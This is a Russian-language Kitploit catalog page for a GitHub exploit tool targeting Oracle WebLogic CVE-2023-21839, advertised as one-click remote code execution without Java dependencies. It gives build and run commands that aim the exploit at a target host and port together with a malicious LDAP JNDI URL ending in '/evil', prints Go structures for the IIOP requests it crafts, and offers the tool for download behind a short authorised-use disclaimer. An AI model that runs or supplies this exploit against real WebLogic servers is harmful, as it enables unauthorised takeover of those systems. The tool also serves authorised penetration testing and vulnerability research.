Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-21839 — Weblogic CVE-2023-21839 RCE (без зависимостей Java, RCE в один клик) | Kitploit
Инструменты/GitHubGitHub/askyeye/cve-2023-21839
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubaskyeye/cve-2023-21839

CVE-2023-21839

Weblogic CVE-2023-21839 RCE (без зависимостей Java, RCE в один клик)

Репозиторий
1151078 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-21839

Использование данного инструмента для атак или тестирования без разрешения незаконно. Данная программа должна использоваться только для авторизованного тестирования безопасности и исследовательских целей.

Введение

Weblogic CVE-2023-21839 RCE

(1) Без каких-либо зависимостей Java, построение протокола через сокет напрямую RCE

(2) Решена проблема NAT сети для IIOP (можно тестировать Docker и внешние цели)

(3) Протестировано в Windows/Mac OS/Linux и Weblogic 12/14

(4) Пожалуйста, используйте JDK 8u191 или ниже для запуска Weblogic и самостоятельно настройте JNDI Server

Использование

root@kitploit:~
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

Прочее

Locate Request

root@kitploit:~
type LocateRequest struct {
	Header            *Header
	RequestId         []byte // 4
	TargetAddress     []byte // 2
	_reserved         []byte // 2
	_keyAddressLength []byte // 4
	KeyAddress        []byte // _keyAddressLength
}

Resolve Request

root@kitploit:~
type ResolveRequest struct {
	Header             *Header
	RequestId          []byte // 4
	ResponseFlags      []byte // 1
	_reserved1         []byte // 3
	TargetAddress      []byte // 2
	_reserved2         []byte // 2
	_keyAddressLength  []byte // 4
	KeyAddress         []byte // _keyAddressLength
	_operationLength   []byte // 4
	RequestOperation   []byte // _operationLength
	_reserved3         []byte // 1
	ServiceContextList *ServiceContextList
	CosNamingDissector []byte // no limit
}

Rebind Request

root@kitploit:~
type RebindRequest struct {
	Header             *Header
	RequestId          []byte // 4
	ResponseFlags      []byte // 1
	_reserved1         []byte // 3
	TargetAddress      []byte // 2
	_reserved2         []byte // 2
	_keyAddressLength  []byte // 4
	KeyAddress         []byte // _keyAddressLength
	_operationLength   []byte // 4
	RequestOperation   []byte // _operationLength
	_reserved3         []byte // 2
	ServiceContextList *ServiceContextList
	StubData           []byte // no limit
}
Скачать инструмент